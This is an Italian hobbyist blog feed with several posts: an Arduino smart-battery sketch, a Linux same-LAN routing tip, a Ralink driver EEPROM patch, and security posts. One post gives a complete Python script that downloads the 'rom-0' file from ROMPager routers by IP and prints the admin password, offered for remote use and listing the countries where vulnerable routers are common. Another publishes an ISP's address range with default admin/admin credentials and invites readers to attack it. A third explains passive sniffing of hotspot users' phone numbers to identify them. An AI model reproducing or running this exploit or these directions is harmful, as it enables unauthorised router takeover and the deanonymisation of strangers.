<span style="font-family: Courier New, Courier, monospace;">{</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> </span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> Serial.print("Voltaggio: ");</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> Serial.println(fetchWord(VOLTAGE));</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> Serial.print("Temperatura: ");</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> unsigned int tempk = fetchWord(TEMPERATURE);</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> float tempc = ((float)tempk)/10.0-273.15;</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> Serial.println(tempc);</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> Serial.print("Corrente (mA):" );</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> Serial.println(fetchWord(CURRENT));</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> Serial.print("Capacità (mAh):" );</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> Serial.println(fetchWord(CAPACITY));</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> Serial.print("Carica: ");Serial.print(fetchWord(CHARGE));</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> Serial.print(" Minuti rimanenti alla carica completa: ");</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> Serial.println(fetchWord(TIME_TO_FULL));</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> delay(5000);</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">}</span></div>
</div>
<div>
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div>
<span style="font-family: inherit;">Questo sketch all'avvio fa una scansione del bus per trovare le periferiche e poi di default si collega alla batteria che si trova all'indirizzo <b>0x11</b>.</span></div>
<div>
<span style="font-family: inherit;"><br /></span></div>
A livello hardware, per eseguire il collegamento, è necessario collegare 2 resistenze di pullup da 10K verso +5v sui pin SCL e SDA e collegare MBDATA e MBCLK rispettivamente con SDA ed SCL su arduino.<br />
<br />
Per poter monitorare altri parametri, è possibile consultare la documentazione di smart battery all'indirizzo <a href="http://sbs-forum.org/specs/sbdat110.pdf" target="_blank">http://sbs-forum.org/specs/sbdat110.pdf</a><br />
<br />
Ricordo di evitare di caricare batterie al litio in modo sperimentale senza essere presenti durante la carica.Anonymoushttp://www.blogger.com/profile/13032380667408850688noreply@blogger.com2tag:blogger.com,1999:blog-413688212424257444.post-84430668086302258632014-02-01T15:33:00.001-08:002014-02-01T15:33:19.841-08:00Routing da, alla rete di provenienza con LinuxMolto spesso può capitare di voler fare il forwarding dalla LAN alla LAN, ovvero avere un router che accetta i pacchetti in ingresso, e li reimmette sulla stessa rete magari eseguendoci sopra il load balancing o traffic shaping, ad esempio potrei avere una lan composta da un router alice, un router fastweb ed un server su cui ho a disposizione una sola interfaccia ethernet, ad occhio un sistemista non smanettone vi direbbe subito che dovete mettere altre 2 interfacce di rete sul server o non si può fare, FALSO.<br />
<br />
Ora tralasciando la parte di traffic shaping e network balancing che è adeguatamente documentata altrove, vediamo come è possibile la cosa a livello teorico<br />
<br />
<br />
Prendiamo in esempio la rete 192.168.0.0/24<br />
Mettiamo che il server dove volete fare routing sia configurato per avere gateway predefinito 192.168.0.1 (Il router alice ) e che il server abbia indirizzo 192.168.0.2, teoricamente se io da una macchina con configurato gatweay 192.168.0.2, invio un pacchetto che ha come indirizzo di destinazione ad esempio 8.8.4.4 e come mac address di destinazione quello del server 192.168.0.2, il server lo riceverà, gli cambia di nuovo mac address di destinazione con quello del suo gateway e lo rispedisce in LAN di nuovo.<br />Se proviamo a farlo praticamente ci accorgiamo di una cosa però...<br /><span style="font-family: "Courier New",Courier,monospace;"><br />tiziano@tiziano-VPCF12Z1E ~ $ ping 8.8.4.4<br />PING 8.8.4.4 (8.8.4.4) 56(84) bytes of data.<br />64 bytes from 8.8.4.4: icmp_seq=1 ttl=46 time=99.5 ms<br />From 192.168.0.2: icmp_seq=2 Redirect Host(New nexthop: 192.168.0.1)<br />From 192.168.0.2 icmp_seq=2 Redirect Host64 bytes from 8.8.4.4: icmp_seq=2 ttl=46 time=71.9 ms<br />64 bytes from 8.8.4.4: icmp_seq=3 ttl=46 time=115 ms</span><br />
<br />
<br />
<br />
<br />
<br />
<br />
<span style="font-family: inherit;">Quello che sta succedendo in pratica è che il server sta dicendo al client che deve contattare direttamente 192.168.0.1 invece di lui, e questa cosa non va assolutamente bene</span> perché se andiamo a fare un traceroute ci accorgiamo che il nostro server che dovrebbe fare traffic shaping oppure load balancing è stato bypassato, il traceroute partirà direttamente dal router di alice.<br /><br />Questo problema si risolve disabilitando l'invio di pacchetti ICMP Redirect Host, utilizzando <br />sysctl -w net.ipv4.conf.all.send_redirects=0 <br />E per ogni interfaccia<br />sysctl -w net.ipv4.conf.INTERFACCIA.send_redirects=0 <br /><br /><br /><a href="http://www.cisco.com/en/US/tech/tk365/technologies_tech_note09186a0080094702.shtml" target="_blank">http://www.cisco.com/en/US/tech/tk365/technologies_tech_note09186a0080094702.shtml</a> Qui è documentato l'utilizzo del pacchetto ICMP Redirect in modo dettagliato<br /><br />Una volta risolto questo problema al quale non sempre è scontata la soluzione dato che sono pochi ad avere setup funzionanti del genere, il resto della configurazione è praticamente uguale ad un normale routing, ovviamente quando si lavora sulle regole iptables , essendo l'interfaccia di ingresso ed uscita la stessa , si deve lavorare sugli indirizzi per distinguere i pacchettiAnonymoushttp://www.blogger.com/profile/13032380667408850688noreply@blogger.com0tag:blogger.com,1999:blog-413688212424257444.post-45273604864177346482014-01-16T06:08:00.004-08:002014-01-16T06:08:51.372-08:00Hacking dei router che utilizzano ROMPager completamente da remotoGran parte dei router TP-Link,ZyXel,Huawei ed alcuni linksys sono soggetti ad una vulnerabilità che permette di ottenere la password di amministratore DA REMOTO , lo script allegato permette, passandogli l'ip del router come parametro di tirare fuori la password instantaneamente<br /><br />
<pre style="background-color: white; color: #1f1c1b;"><span style="color: #924c9d;">import</span> os
<span style="color: #924c9d;">import</span> sys
<span style="color: #924c9d;">from</span> struct <span style="color: #924c9d;">import</span> <b>*</b>
<span style="color: #924c9d;">import</span> urllib2
<span style="color: #898887;">###########################################################</span><b><span style="background: #f7e6e6; color: #81ca2d;">###</span></b>
<span style="color: #898887;"># Lempel-Ziv-Stac decompression</span>
<span style="color: #898887;"># BitReader and RingList classes</span>
<span style="color: #898887;">#</span>
<span style="color: #898887;"># Copyright (C) 2011 Filippo Valsorda - FiloSottile</span>
<span style="color: #898887;"># filosottile.wiki gmail.com - www.pytux.it</span>
<span style="color: #898887;">#</span>
<span style="color: #898887;"># This program is free software: you can redistribute it and/or modify</span>
<span style="color: #898887;"># it under the terms of the GNU General Public License as published by</span>
<span style="color: #898887;"># the Free Software Foundation, either version 3 of the License, or</span>
<span style="color: #898887;"># (at your option) any later version.</span>
<span style="color: #898887;">#</span>
<span style="color: #898887;"># This program is distributed in the hope that it will be useful,</span>
<span style="color: #898887;"># but WITHOUT ANY WARRANTY; without even the implied warranty of</span>
<span style="color: #898887;"># MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the</span>
<span style="color: #898887;"># GNU General Public License for more details.</span>
<span style="color: #898887;">#</span>
<span style="color: #898887;"># You should have received a copy of the GNU General Public License</span>
<span style="color: #898887;"># along with this program. If not, see <http://www.gnu.org/licenses/>.</span>
<span style="color: #898887;">#</span>
<span style="color: #898887;">###########################################################</span><b><span style="background: #f7e6e6; color: #81ca2d;">###</span></b>
<span style="color: #924c9d;">import</span> collections
<b>class</b> BitReader:
<span style="color: #898887;">"""</span>
<span style="color: #898887;"> Gets a string or a iterable of chars (also mmap)</span>
<span style="color: #898887;"> representing bytes (ord) and permits to extract</span>
<span style="color: #898887;"> bits one by one like a stream</span>
<span style="color: #898887;"> </span><span style="color: #898887;">"""</span>
<b>def</b> <b><span style="color: #000e52;">__init__</span></b>(<span style="color: #006e28;">self</span>, <span style="color: #0057ae;">bytes</span>):
<span style="color: #006e28;">self</span>._bits <b>=</b> collections.deque()
<b>for</b> byte <b>in</b> <span style="color: #0057ae;">bytes</span>:
byte <b>=</b> <span style="color: #0057ae;">ord</span>(byte)
<b>for</b> n <b>in</b> <span style="color: #0057ae;">xrange</span>(<span style="color: #b08000;">8</span>):
<span style="color: #006e28;">self</span>._bits.append(<span style="color: #0057ae;">bool</span>((byte <b>>></b> (<span style="color: #b08000;">7</span><b>-</b>n)) <b>&</b> <span style="color: #b08000;">1</span>))
<b>def</b> getBit(<span style="color: #006e28;">self</span>):
<b>return</b> <span style="color: #006e28;">self</span>._bits.popleft()
<b>def</b> getBits(<span style="color: #006e28;">self</span>, num):
res <b>=</b> <span style="color: #b08000;">0</span>
<b>for</b> i <b>in</b> <span style="color: #0057ae;">xrange</span>(num):
res <b>+=</b> <span style="color: #006e28;">self</span>.getBit() <b><<</b> num<b>-</b><span style="color: #b08000;">1</span><b>-</b>i
<b>return</b> res
<b>def</b> getByte(<span style="color: #006e28;">self</span>):
<b>return</b> <span style="color: #006e28;">self</span>.getBits(<span style="color: #b08000;">8</span>)
<b>def</b> <b><span style="color: #000e52;">__len__</span></b>(<span style="color: #006e28;">self</span>):
<b>return</b> <span style="color: #0057ae;">len</span>(<span style="color: #006e28;">self</span>._bits)
<b>class</b> RingList:
<span style="color: #898887;">"""</span>
<span style="color: #898887;"> When the list is full, for every item appended</span>
<span style="color: #898887;"> the older is removed</span>
<span style="color: #898887;"> </span><span style="color: #898887;">"""</span>
<b>def</b> <b><span style="color: #000e52;">__init__</span></b>(<span style="color: #006e28;">self</span>, length):
<span style="color: #006e28;">self</span>.__data__ <b>=</b> collections.deque()
<span style="color: #006e28;">self</span>.__full__ <b>=</b> <span style="color: #006e28;">False</span>
<span style="color: #006e28;">self</span>.__max__ <b>=</b> length
<b>def</b> append(<span style="color: #006e28;">self</span>, x):
<b>if</b> <span style="color: #006e28;">self</span>.__full__:
<span style="color: #006e28;">self</span>.__data__.popleft()
<span style="color: #006e28;">self</span>.__data__.append(x)
<b>if</b> <span style="color: #006e28;">self</span>.size() <b>==</b> <span style="color: #006e28;">self</span>.__max__:
<span style="color: #006e28;">self</span>.__full__ <b>=</b> <span style="color: #006e28;">True</span>
<b>def</b> get(<span style="color: #006e28;">self</span>):
<b>return</b> <span style="color: #006e28;">self</span>.__data__
<b>def</b> size(<span style="color: #006e28;">self</span>):
<b>return</b> <span style="color: #0057ae;">len</span>(<span style="color: #006e28;">self</span>.__data__)
<b>def</b> maxsize(<span style="color: #006e28;">self</span>):
<b>return</b> <span style="color: #006e28;">self</span>.__max__
<b>def</b> <b><span style="color: #000e52;">__getitem__</span></b>(<span style="color: #006e28;">self</span>, n):
<b>if</b> n <b>>=</b> <span style="color: #006e28;">self</span>.size():
<b>return</b> <span style="color: #006e28;">None</span>
<b>return</b> <span style="color: #006e28;">self</span>.__data__[n]
<b>def</b> LZSDecompress(data, window <b>=</b> RingList(<span style="color: #b08000;">2048</span>)):
<span style="color: #898887;">"""</span>
<span style="color: #898887;"> Gets a string or a iterable of chars (also mmap)</span>
<span style="color: #898887;"> representing bytes (ord) and an optional</span>
<span style="color: #898887;"> pre-populated dictionary; return the decompressed</span>
<span style="color: #898887;"> string and the final dictionary</span>
<span style="color: #898887;"> </span><span style="color: #898887;">"""</span>
reader <b>=</b> BitReader(data)
result <b>=</b> <span style="color: #bf0303;">''</span>
<b>while</b> <span style="color: #006e28;">True</span>:
bit <b>=</b> reader.getBit()
<b>if</b> <b>not</b> bit:
char <b>=</b> reader.getByte()
result <b>+=</b> <span style="color: #0057ae;">chr</span>(char)
window.append(char)
<b>else</b>:
bit <b>=</b> reader.getBit()
<b>if</b> bit:
offset <b>=</b> reader.getBits(<span style="color: #b08000;">7</span>)
<b>if</b> offset <b>==</b> <span style="color: #b08000;">0</span>:
<span style="color: #898887;"># EOF</span>
<b>break</b>
<b>else</b>:
offset <b>=</b> reader.getBits(<span style="color: #b08000;">11</span>)
lenField <b>=</b> reader.getBits(<span style="color: #b08000;">2</span>)
<b>if</b> lenField <b><</b> <span style="color: #b08000;">3</span>:
lenght <b>=</b> lenField <b>+</b> <span style="color: #b08000;">2</span>
<b>else</b>:
lenField <b><<=</b> <span style="color: #b08000;">2</span>
lenField <b>+=</b> reader.getBits(<span style="color: #b08000;">2</span>)
<b>if</b> lenField <b><</b> <span style="color: #b08000;">15</span>:
lenght <b>=</b> (lenField <b>&</b> <span style="color: #b08000;">0x0f</span>) <b>+</b> <span style="color: #b08000;">5</span>
<b>else</b>:
lenCounter <b>=</b> <span style="color: #b08000;">0</span>
lenField <b>=</b> reader.getBits(<span style="color: #b08000;">4</span>)
<b>while</b> lenField <b>==</b> <span style="color: #b08000;">15</span>:
lenField <b>=</b> reader.getBits(<span style="color: #b08000;">4</span>)
lenCounter <b>+=</b> <span style="color: #b08000;">1</span>
lenght <b>=</b> <span style="color: #b08000;">15</span><b>*</b>lenCounter <b>+</b> <span style="color: #b08000;">8</span> <b>+</b> lenField
<b>for</b> i <b>in</b> <span style="color: #0057ae;">xrange</span>(lenght):
char <b>=</b> window[<b>-</b>offset]
result <b>+=</b> <span style="color: #0057ae;">chr</span>(char)
window.append(char)
<b>return</b> result, window
<b>class</b> Object:
<b>def</b> <b><span style="color: #000e52;">__init__</span></b>(<span style="color: #006e28;">self</span>,blockdata,data):
<span style="color: #006e28;">self</span>.name <b>=</b> data[:<span style="color: #b08000;">14</span>].strip(<span style="color: #bf0303;">"</span><span style="color: #924c9d;">\x00</span><span style="color: #bf0303;">"</span>)
<span style="color: #006e28;">self</span>.uncompsize <b>=</b> unpack(<span style="color: #bf0303;">">H"</span>,data[<span style="color: #b08000;">14</span>:<span style="color: #b08000;">16</span>])[<span style="color: #b08000;">0</span>]
<span style="color: #006e28;">self</span>.compsize <b>=</b> unpack(<span style="color: #bf0303;">">H"</span>,data[<span style="color: #b08000;">16</span>:<span style="color: #b08000;">18</span>])[<span style="color: #b08000;">0</span>]
<span style="color: #006e28;">self</span>.offset <b>=</b> unpack(<span style="color: #bf0303;">">H"</span>,data[<span style="color: #b08000;">18</span>:<span style="color: #b08000;">20</span>])[<span style="color: #b08000;">0</span>]
<span style="color: #0057ae;">print</span> <span style="color: #bf0303;">"Object"</span>,<span style="color: #006e28;">self</span>.name ,<span style="color: #006e28;">self</span>.uncompsize,<span style="color: #006e28;">self</span>.compsize,<span style="color: #006e28;">self</span>.offset
<span style="color: #006e28;">self</span>.data <b>=</b> blockdata[<span style="color: #006e28;">self</span>.offset:<span style="color: #006e28;">self</span>.offset<b>+</b><span style="color: #006e28;">self</span>.compsize]
<span style="color: #898887;">#print [self.data]</span>
<b>if</b> <span style="color: #006e28;">self</span>.name <b>==</b> <span style="color: #bf0303;">"spt.dat"</span>:
data2 <b>=</b> <span style="color: #006e28;">self</span>.data
<span style="color: #006e28;">self</span>.data <b>=</b> <span style="color: #bf0303;">""</span>
index <b>=</b> <span style="color: #b08000;">12</span>
<b>while</b> index <b><</b> <span style="color: #006e28;">self</span>.uncompsize:
orgsize <b>=</b> unpack(<span style="color: #bf0303;">">H"</span>,data2[index:index<b>+</b><span style="color: #b08000;">2</span>])[<span style="color: #b08000;">0</span>]
rawsize <b>=</b> unpack(<span style="color: #bf0303;">">H"</span>,data2[index<b>+</b><span style="color: #b08000;">2</span>:index<b>+</b><span style="color: #b08000;">4</span>])[<span style="color: #b08000;">0</span>]
<span style="color: #898887;">#print orgsize,rawsize</span>
<span style="color: #006e28;">self</span>.data <b>+=</b> LZSDecompress(data2[index<b>+</b><span style="color: #b08000;">4</span>:index<b>+</b><span style="color: #b08000;">4</span><b>+</b>rawsize])[<span style="color: #b08000;">0</span>]
index <b>+=</b> rawsize
<span style="color: #0057ae;">print</span> <span style="color: #bf0303;">"Password:"</span>,<span style="color: #006e28;">self</span>.data[<span style="color: #b08000;">20</span>:].split(<span style="color: #bf0303;">"</span><span style="color: #924c9d;">\x00</span><span style="color: #bf0303;">"</span>)[<span style="color: #b08000;">0</span>]
<b>class</b> Block:
<b>def</b> <b><span style="color: #000e52;">__init__</span></b>(<span style="color: #006e28;">self</span>,data):
<span style="color: #006e28;">self</span>.blocknumber <b>=</b> <span style="color: #0057ae;">ord</span>(data[<span style="color: #b08000;">0</span>])
<span style="color: #006e28;">self</span>.unk1 <b>=</b> <span style="color: #0057ae;">ord</span>(data[<span style="color: #b08000;">1</span>])
<span style="color: #006e28;">self</span>.objectcount <b>=</b> unpack(<span style="color: #bf0303;">">H"</span>,data[<span style="color: #b08000;">2</span>:<span style="color: #b08000;">4</span>])[<span style="color: #b08000;">0</span>]
<span style="color: #006e28;">self</span>.blocklength <b>=</b> unpack(<span style="color: #bf0303;">">H"</span>,data[<span style="color: #b08000;">4</span>:<span style="color: #b08000;">6</span>])[<span style="color: #b08000;">0</span>]
<span style="color: #0057ae;">print</span> <span style="color: #bf0303;">"Block:"</span>,<span style="color: #006e28;">self</span>.blocknumber , <span style="color: #006e28;">self</span>.objectcount , <span style="color: #006e28;">self</span>.blocklength
<span style="color: #006e28;">self</span>.objects <b>=</b> []
<b>for</b> i <b>in</b> <span style="color: #0057ae;">range</span>(<span style="color: #b08000;">0</span>,<span style="color: #006e28;">self</span>.objectcount):
<span style="color: #006e28;">self</span>.objects.append(Object(data,data[<span style="color: #b08000;">6</span><b>+</b><span style="color: #b08000;">20</span><b>*</b>i:]))
blocks <b>=</b> []
f <b>=</b> urllib2.urlopen(<span style="color: #bf0303;">"http://</span><span style="color: #0057ae;">%s</span><span style="color: #bf0303;">/rom-0"</span><b>%</b>sys.argv[<span style="color: #b08000;">1</span>])
<span style="color: #898887;"># = open(sys.argv[1],"rb")</span>
d <b>=</b> f.read()
mem <b>=</b> Block(d[<span style="color: #b08000;">0x0</span>:])
a <b>=</b> Block(d[<span style="color: #b08000;">0x2000</span>:])</pre>
<pre style="background-color: white; color: #1f1c1b;">
</pre>
Le nazioni che principalmente hanno questi router vulnerabili sono Romania, Algeria, Egitto, Colombia, Brasile, Albania.<br />
Per favore comunque evitate di farci danni con questo script, è un exploit vecchio di circa 1 anno e mezzo che trovai in seguito ad un attacco DDoS subito su un server privato di world of warcraft , e che nonostante abbia segnalato agli ISP è stato del tutto ignorato.<br />Lo posto solo ora perché ho visto che ci ha già pensato un altro a scoperchiare il vaso di pandora , solo che ha fatto il furbo , ed ha nascosto tutta la parte per decodificare il file rom-0 che io includo invece qui<br />
<br />Anonymoushttp://www.blogger.com/profile/13032380667408850688noreply@blogger.com0tag:blogger.com,1999:blog-413688212424257444.post-5365995739360042282014-01-02T13:18:00.002-08:002014-01-02T13:47:58.384-08:00La sicurezza dell'ISP WiMax che utilizzoScrivo questo post, perché oggi è successo un evento che ha del ridicolo diciamo.<br />
Ero connesso ad Azzurra.org ( Network IRC , se non sapete cosa sia è inutile andare avanti nella lettura ) e stavo giocando a No more room in hell , con la linea Alice ADSL, e vedo che inizio ad avere ping che superano i 200 ms abbondantemente.<br />
Così ho pensato di switchare questo pc da dove stavo giocando verso il router che punta sul WiMax, e fin qui tutto bene a livello di gioco i ping sono calati, ma ho notato un simpatico messaggio su IRC<br />
<br />
* *** Notice -- This server runs an open proxy monitor to prevent abuse.<br />
* *** Notice -- If you see various connections from proxy-check.azzurra.org or 85.94.194.111<br />
* *** Notice -- please disregard them, as they are the detector in action.<br />
* *** Notice -- For more information please visit http://www.azzurra.org/kline.php?mod=socks-proxy<br />
* *** Notice -- Your connection is restricted! For more information please visit http://www.azzurra.org/restrict.html<br />
<br />
In pratica mi dice che sono stato buttato fuori perché ho un proxy socks aperto !!!<br />
<br />
Allora visto ciò ho fatto un nmap dalla linea alice , verso l'indirizzo pubblico della linea wimax ( AriaDSL )...<br />
Quello che ne esce fuori ha dell'incredibile<br />
<br />
<br />
21/tcp open ftp GNU Inetutils FTPd 1.4.1<br />
22/tcp open ssh Dropbear sshd 0.52 (protocol 2.0)<br />
| ssh-hostkey: 1024 74:7b:6e:f4:b0:fd:3f:83:fe:60:62:d4:2c:38:e6:9a (DSA)<br />
|_1040 3d:f3:00:97:78:b4:b0:2b:ee:e7:69:87:39:44:00:b3 (RSA)<br />
80/tcp open http?<br />
|_http-title: Wimax CPE Configuration<br />
81/tcp filtered hosts2-ns<br />
443/tcp open ssl/https?<br />
|_sslv2: server still supports SSLv2<br />
|_http-title: Wimax CPE Configuration<br />
| ssl-cert: Subject: commonName=MatrixSSL Sample Server Cert/organizationName=PeerSec Networks/stateOrProvinceName=WA/countryName=US<br />
| Not valid before: 2006-03-13 08:13:34<br />
|_Not valid after: 2007-03-13 08:13:34<br />
2500/tcp filtered rtsserv<br />
2601/tcp open zebra Quagga routing software<br />
6789/tcp open ibm-db2-admin?<br />
9999/tcp open abyss?<br />
<div>
<br />
<br />
A parte la porta 81 che l'ho aperta io per dare accesso ad una cartella dropbox ad un'altra persona senza ricorrere a dropbox , le altre al di fuori della 80 e della 443 neppure sapevo fossero aperte.</div>
<div>
In pratica su questo accrocco che mi hanno dato c'è sulla WAN<br />
Un server FTP ( A che cazzo serve??? )<br />
Un server SSH attivo ( Vedere sopra )</div>
<div>
L'interfaccia web ( meglio non commentare )</div>
<div>
Un'altra interfaccia web che non so a che cavolo serva<br />
Zebra ( Che minchia ci sta a fare su una CPE? , e soprattutto sulla WAN? )</div>
<div>
La 6789 e la 9999 poi boh , non so neanche cosa siano , ho provato a connettermi con telnet ma non danno nessun output</div>
<div>
Ora la cosa bella viene sull'interfaccia web, ebbene si perché questi "poco svegli" per non andare su offese pesanti, cosa hanno fatto...</div>
<div>
Hanno dato alla gente questi CPE con nome utente e password di default admin/admin CON L'INTERFACCIA WEB APERTA SULLA WAN , Geniale vero?<br />
E non solo quella , quella combinazione admin-admin funziona anche sull'SSH, ed inoltre anche la rete wireless di questo accrocco è di default senza password , e nessun analfabeta informatico nella media italiana si sognerebbe di cambiare password ovviamente.</div>
<div>
<br /></div>
<div>
Avete capito bene quindi, <b><span style="color: red;">nome utente e password di default admin/admin CON L'INTERFACCIA WEB APERTA SULLA WAN</span></b></div>
<br />
Il loro spazio di indirizzi IPV4 è 159.20.176.0/21 , fategli quello che vi pare o dateli a chi vi pare, così forse capiscono che hanno dei leggerissimi problemi di sicurezza, io glie l'ho detto diverse volte che non voglio quell'interfaccia web del cazzo aperta sulla WAN e che è vulnerabile, gli ho fatto vedere in diretta ad un loro installatore mentre entravo da remoto sul suo CPE, ma non mi ascoltano.<br />
<br />
Io ho cambiato password , se poi riesce qualcuno ad entrarmi lo stesso sticavoli, tanto fra la mia rete e quello schifo ci ho messo un altro router che non ha falle del genere.<br />
<br />
Aggiunta delle 22:47 , dimenticavo<br />AriaDSL inoltre fornisce apparati in completa violazione della licenza GPL in quanto sul loro sito , ne tantomeno su quella della Huawei sembra possibile scaricare i sorgenti dei software opensource utilizzati nei loro CPE , tra cui di sicuro Linux , quagga , e GNU InetutilsAnonymoushttp://www.blogger.com/profile/13032380667408850688noreply@blogger.com0tag:blogger.com,1999:blog-413688212424257444.post-22533014006507929202013-11-09T16:45:00.000-08:002013-11-09T16:46:20.479-08:00Hotspot senza cifratura e smartphone? Brutta accoppiata per la privacyTorno di nuovo a scrivere per i problemi riguardanti la privacy con gli smartphone, perché si aggiunge, oltre al noto problema della scansione attiva e quindi dell'invio di probe diretti ad access point, anche un altro problema più grave originante da Whatsapp e Facebook, in pratica con tecniche di livello veramente base è possibile conoscere il numero di cellulare di chi è connesso all'hotspot, e dal numero di cellulare conoscere in una buona parte di casi, il profilo facebook.<br />
Tutto ciò funziona in quanto Whatsapp, ogni volta che si riconnette invia un pacchetto contente la stringa "WAUTH-2", il quale contiene il numero di telefono completamente in chiaro, avete letto bene, COMPLETAMENTE IN CHIARO.<br />
È sufficiente quindi mettere una banale interfaccia wireless in modalità monitor sul canale dell'access point ed aspettare che qualcuno apra l'applicazione whatsapp sul proprio cellulare.<br />
Non appena lo farà, è possibile estrapolare dal pacchetto il numero di telefono, in modo banale, e con questo, utilizzando la pagina <a href="https://www.facebook.com/search.php?q=numero" target="_blank">https://www.facebook.com/search.php?q=numero</a> , nel 50% dei casi o anche più si riesce a risalire a nome e cognome e profilo facebook.<br />
Quindi lo stato attuale delle cose è che, semplicemente con un attacco di tipo passivo ( niente man in the middle o simili ), è possibile ottenere<br />
<br />
Numero di cellulare<br />
Modello di cellulare<br />
Nome e cognome<br />
Profilo facebook<br />
Posti più frequentati<br />
Indirizzo di casa approssimato( successivamente raffinabile una volta nel raggio dell'access point )<br />
Associazione mac address - persona , che quindi porta al tracciamento del resto del traffico<br />
<br />
Forum: <a href="http://linuxehacking.info/viewtopic.php?f=7&t=2" target="_blank">http://linuxehacking.info/viewtopic.php?f=7&t=2</a> (Sorgenti dello sniffer inclusi )Anonymoushttp://www.blogger.com/profile/13032380667408850688noreply@blogger.com0tag:blogger.com,1999:blog-413688212424257444.post-67591019696000447312013-09-19T02:18:00.003-07:002013-09-19T02:23:52.154-07:00Recuperare un'interfaccia Ralink a 5 Ghz con EEPROM danneggiata senza riprogrammare il chipMolti mesi fa , mi si danneggiò la EEPROM della mia ALFA dual-band, la situazione inizialmente sembrava tragica, la periferica non veniva neanche più riconosciuta ( i descrittori usb contenuti nella eeprom erano danneggiati ).<br />
La eeprom di questa periferica difatti , nonostante tramite USB sia possibile leggerne i primi 0x110 byte , in realtà è da 0x400 byte ed all'indirizzo 0x200 inizia la parte dei descrittori USB la quale è utilizzata dal chipset.<br />
Una volta dissaldata la eeprom si può notare che l'interfaccia wireless funziona di nuovo, però le funzionalità dual-band non ci sono più, ed anche il mac address è danneggiato.<br />
Dato che i tentativi che ho fatto di sostituire la eeprom , un po' per sfortuna , un po' per la mia poca esperienza a lavorare in SMD sono andati male , ho tentato di modificare il driver, in modo che nel caso il chip id della eeprom sia 0xffff ( ovvero quando il chip non è presente ) , vada a caricare un file in /lib/firmware in modo da riconoscere correttamente l'id del chip RF ed altri parametri ( tipo le antenne da utilizzare )<br />
<br />
Ho modificato il file rt2800usb.c del driver rt2x00 , modificando la funzione rt2800usb_read_eeprom nel seguente modo<br />
<br />
<span style="font-family: Courier New, Courier, monospace;">static int rt2800usb_read_eeprom(struct rt2x00_dev *rt2x00dev)</span><br />
<span style="font-family: Courier New, Courier, monospace;">{</span><br />
<span style="font-family: Courier New, Courier, monospace;"><span class="Apple-tab-span" style="white-space: pre;"> </span>int retval;</span><br />
<span style="font-family: Courier New, Courier, monospace;"> mm_segment_t fs;</span><br />
<span style="font-family: Courier New, Courier, monospace;"> struct file *f;</span><br />
<span style="font-family: Courier New, Courier, monospace;"><span class="Apple-tab-span" style="white-space: pre;"> </span>if (rt2800_efuse_detect(rt2x00dev))</span><br />
<span style="font-family: Courier New, Courier, monospace;"><span class="Apple-tab-span" style="white-space: pre;"> </span>retval = rt2800_read_eeprom_efuse(rt2x00dev);</span><br />
<span style="font-family: Courier New, Courier, monospace;"><span class="Apple-tab-span" style="white-space: pre;"> </span>else</span><br />
<span style="font-family: Courier New, Courier, monospace;"><span class="Apple-tab-span" style="white-space: pre;"> </span>{</span><br />
<span style="font-family: Courier New, Courier, monospace;"><span class="Apple-tab-span" style="white-space: pre;"> </span> </span><br />
<span style="font-family: Courier New, Courier, monospace;"><span class="Apple-tab-span" style="white-space: pre;"> </span>retval = rt2x00usb_eeprom_read(rt2x00dev, rt2x00dev->eeprom,</span><br />
<span style="font-family: Courier New, Courier, monospace;"><span class="Apple-tab-span" style="white-space: pre;"> </span> EEPROM_SIZE);</span><br />
<span style="font-family: Courier New, Courier, monospace;"> if ( rt2x00dev->eeprom[0] == 0xffff ) //No eeprom chip</span><br />
<span style="font-family: Courier New, Courier, monospace;"> {</span><br />
<span style="font-family: Courier New, Courier, monospace;"> printk("rt2800usb: connected device has broken/missing eeprom chip\n");</span><br />
<span style="font-family: Courier New, Courier, monospace;"> f = filp_open("/lib/firmware/rt2800usb_eeprom.bin", O_RDONLY, 0);</span><br />
<span style="font-family: Courier New, Courier, monospace;"> if ( IS_ERR(f) )</span><br />
<span style="font-family: Courier New, Courier, monospace;"> {</span><br />
<span style="font-family: Courier New, Courier, monospace;"> printk("rt2800usb: Cannot load eeprom from /lib/firmware/rt2800usb_eeprom.bin\n");</span><br />
<span style="font-family: Courier New, Courier, monospace;"> return -1;</span><br />
<span style="font-family: Courier New, Courier, monospace;"> }</span><br />
<span style="font-family: Courier New, Courier, monospace;"> fs = get_fs();</span><br />
<span style="font-family: Courier New, Courier, monospace;"> set_fs(get_ds());</span><br />
<span style="font-family: Courier New, Courier, monospace;"> f->f_op->read(f,(char*)rt2x00dev->eeprom,EEPROM_SIZE,&f->f_pos);</span><br />
<span style="font-family: Courier New, Courier, monospace;"> set_fs(fs);</span><br />
<span style="font-family: Courier New, Courier, monospace;"> </span><br />
<span style="font-family: Courier New, Courier, monospace;"> filp_close(f,NULL);</span><br />
<span style="font-family: Courier New, Courier, monospace;"> printk("rt2800usb: Loaded eeprom override\n");</span><br />
<span style="font-family: Courier New, Courier, monospace;"> }</span><br />
<span style="font-family: Courier New, Courier, monospace;"> }</span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;"><span class="Apple-tab-span" style="white-space: pre;"> </span>return retval;</span><br />
<span style="font-family: Courier New, Courier, monospace;">}</span><br />
<br />
